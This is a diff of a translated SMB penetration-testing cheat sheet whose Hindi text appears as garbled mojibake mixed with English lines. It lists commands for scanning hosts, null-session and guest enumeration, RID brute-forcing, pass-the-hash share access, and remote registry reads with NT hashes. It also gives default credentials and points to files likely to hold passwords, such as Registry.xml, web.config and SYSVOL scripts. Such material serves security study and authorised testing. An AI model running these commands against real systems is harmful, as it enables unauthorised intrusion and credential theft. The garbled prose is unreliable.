рдкрд╛рдПрдБрдЧреЗ рдЬреЛ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **рдХрд┐ рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕рдХрд╛ рдХреИрд╕реЗ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ:** +рдпрджрд┐ рдЖрдк NTLM рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рдирддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рдпрд╣ рдЬрд╛рдирдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рдкрд╛рдПрдБрдЧреЗ рдЬрд┐рд╕рдореЗрдВ **NTLM** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ **рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдк рдЗрд╕рд╕реЗ рдХреИрд╕реЗ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ:** {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **Server Enumeration** +## **рд╕рд░реНрд╡рд░ Enumeration** -### **Scan**: рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ hosts рдЦреЛрдЬреЗрдВ: +### **Scan** рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB рд╕рд░реНрд╡рд░ рд╕рдВрд╕реНрдХрд░рдг -SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд exploits рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред рдЕрдЧрд░ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп tools рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрддреА рд╣реИ, рддреЛ рдЖрдк: +SMB рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд exploits рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЬрд╛рдирдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ рдХреМрди-рд╕рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП tools рдореЗрдВ рдирд╣реАрдВ рджрд┐рдЦрддреА, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ -- рдпрд╛ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ: +- рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` +- рдпрд╛ рдпрд╣ script: ```bash #!/bin/sh #Author: rewardone @@ -75,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **exploit рдЦреЛрдЬреЗрдВ** +### **рдЦреЛрдЬреЗрдВ exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **рд╕рдВрднрд╡** рдкреНрд░рдорд╛рдг-рдкрддреНрд░ +### **рд╕рдВрднрд╛рд╡рд┐рдд** рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ -| **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** | **рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб** | +| **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | | _(blank)_ | _(blank)_ | | guest | _(blank)_ | @@ -96,7 +96,7 @@ searchsploit microsoft smb - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### SMB рд╡рд╛рддрд╛рд╡рд░рдг рдЬрд╛рдирдХрд╛рд░реА +### SMB Environment Information ### рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ ```bash @@ -120,7 +120,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧреНрдб-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ +### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ enum4linux рдФрд░ enum4linux-ng рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЬрд╛ рдЪреБрдХреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред ```bash @@ -140,17 +140,17 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -рдПрдХ-рдкрдВрдХреНрддрд┐ рдХрдорд╛рдВрдб +рд╡рди-рд▓рд╛рдЗрдирд░ ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕реВрдЪреА +### Metasploit - рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **LSARPC рдФрд░ SAMR rpcclient рдХрд╛ рд╕реВрдЪреАрдХрд░рдг** +### **LSARPC рдФрд░ SAMR rpcclient рдХрд╛ рдПрдиреНрдпреВрдорд░реЗрд╢рди** {{#ref}} @@ -163,15 +163,15 @@ rpcclient-enumeration.md `xdg-open smb://cascade.htb/` -#### рдлрд╝рд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдореЗрдВ (nautilus, thunar, etc) +#### рдлрд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдореЗрдВ (nautilus, thunar, рдЖрджрд┐) `smb://friendzone.htb/general/` -## рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХрд╛ рд╕реВрдЪреАрдХрд░рдг +## рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХрд╛ рдПрдиреНрдпреВрдорд░реЗрд╢рди ### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА -рдпрд╣ рд╣рдореЗрд╢рд╛ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ; рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ credentials рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **credentials/guest user** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред +рд╣рдореЗрд╢рд╛ рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ credentials рдирд╣реАрдВ рд╣реИрдВ, рддреЛ **null** **credentials/guest user** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ/рд╕реВрдЪреА рджрд┐рдЦрд╛рдирд╛** +### **рдПрдХ рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдЬреЛрдбрд╝реЗрдВ/рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **рдореИрдиреНрдпреБрдЕрд▓реА windows рд╢реЗрдпрд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ** +### **рдореИрдиреНрдпреБрдЕрд▓реА windows shares рдХреЛ enumerate рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ** -рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рд╢реЗрдпрд░ рджрд┐рдЦрд╛рдиреЗ рдкрд░ рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рддреЛ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓реА рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдПрдХ рдЫреЛрдЯреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬрдм рдЖрдк рдХреЛрдИ рд╡реИрдз рд╕рддреНрд░ (e.g. null session рдпрд╛ valid credentials) рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рддреЛ рдЖрдкрдХреЛ NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рджреЗрдЦрдиреА рдЪрд╛рд╣рд┐рдПред рдпреЗ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ, рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред +рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рджрд┐рдЦрд╛рдиреЗ рд╕реЗ рд░реЛрдХ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рд╣реА рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓реА рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдПрдХ рдЫреЛрдЯреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред Shares рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА enumerate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реЗ responses рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдХрд┐рд╕реА valid session (e.g. null session or valid credentials) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХрд╛ access рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред Common share names for windows targets are @@ -214,7 +214,7 @@ Common share names for windows targets are (Common share names from _**Network Security Assessment 3rd edition**_) -рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +рдЖрдк рдЗрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -241,7 +241,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ / рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓реНрд╕ рдХреЗ рдмрд┐рдирд╛** +### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ / рддреГрддреАрдп-рдкрдХреНрд╖ рдЯреВрд▓реНрд╕ рдХреЗ рдмрд┐рдирд╛** PowerShell ```bash @@ -260,23 +260,23 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (рдЧреНрд░рд╛рдлрд┐рдХрд▓) +MMC рд╕реНрдиреИрдк-рдЗрди (рдЧреНрд░рд╛рдлрд┐рдХрд▓) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓) рдореЗрдВ `\\\` рджрд░реНрдЬ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдкрд▓рдмреНрдз рдЧреИрд░-рдЫрд┐рдкреЗ рд╢реЗрдпрд░ рджрд┐рдЦреЗрдВред +explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓), `\\\` рджрд░реНрдЬ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдкрд▓рдмреНрдз non-hidden shares рджрд┐рдЦрд╛рдИ рджреЗрдВред -### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░рдирд╛ +### рдПрдХ shared folder рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` -### **рдбрд╛рдЙрдирд▓реЛрдб рдлрд╝рд╛рдЗрд▓реЗрдВ** +### **рдбрд╛рдЙрдирд▓реЛрдб рдлрд╛рдЗрд▓реЗрдВ** -рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП credentials/Pass-the-Hash рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред +рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк credentials/Pass-the-Hash рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕реАрдЦ рд╕рдХреЗрдВред ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -293,12 +293,12 @@ smbclient /// ``` рдХрдорд╛рдВрдб: -- mask: рдЙрд╕ mask рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛. "" рд╕рднреА рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП) -- recurse: recursion рдХреЛ рдЪрд╛рд▓реВ/рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж) -- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП prompting рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ) -- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ mask рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╛рдЗрд▓реЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ +- mask: рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА mask рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ (e.g. "" for all files) +- recurse: recursion рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: off) +- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП prompting рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: on) +- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ mask рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ -(_рдЬрд╛рдирдХрд╛рд░реА smbclient рдХреЗ manpage рд╕реЗ_) +(_smbclient рдХреЗ manpage рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА_) ### рдбреЛрдореЗрди рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЦреЛрдЬ @@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Shares рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ **`Registry.xml`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ **autologon** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **Group Policy** рдХреЗ рддрд╣рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП users рдХреЗ рдкрд╛рд╕ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ credentials рд╣реЛрддреЗ рд╣реИрдВред +Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. > [!TIP] -> **SYSVOL share** рдбреЛрдореЗрди рдХреЗ рд╕рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **readable** рд╣реЛрддрд╛ рд╣реИред рд╡рд╣рд╛рдВ рдЖрдк рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ batch, VBScript, рдФрд░ PowerShell **scripts** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -> рдЖрдкрдХреЛ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **scripts** рдЬрд░реВрд░ **check** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк sensitive рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХрд┐ **рдкрд╛рд╕рд╡рд░реНрдб** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ +> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. ## рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ -рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВред Impacket **`reg.py`** рдЖрдкрдХреЛ рдпрд╣ рдЖрдЬрд╝рдорд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -328,35 +328,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -The **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧ** рдПрдХ **Samba** рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдорддреМрд░ рдкрд░ `/etc/samba/smb.conf` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдХреБрдЫ **рдЦрддрд░рдирд╛рдХ рдХреЙрдиреНрдлрд╝рд┐рдЧреНрд╕** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: +The **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **рдЦрддрд░рдирд╛рдХ рдХреЙрдиреНрдлрд╝рд┐рдЧреНрд╕**: -| **Setting** | **Description** | +| **рд╕реЗрдЯрд┐рдВрдЧ** | **рд╡рд┐рд╡рд░рдг** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА 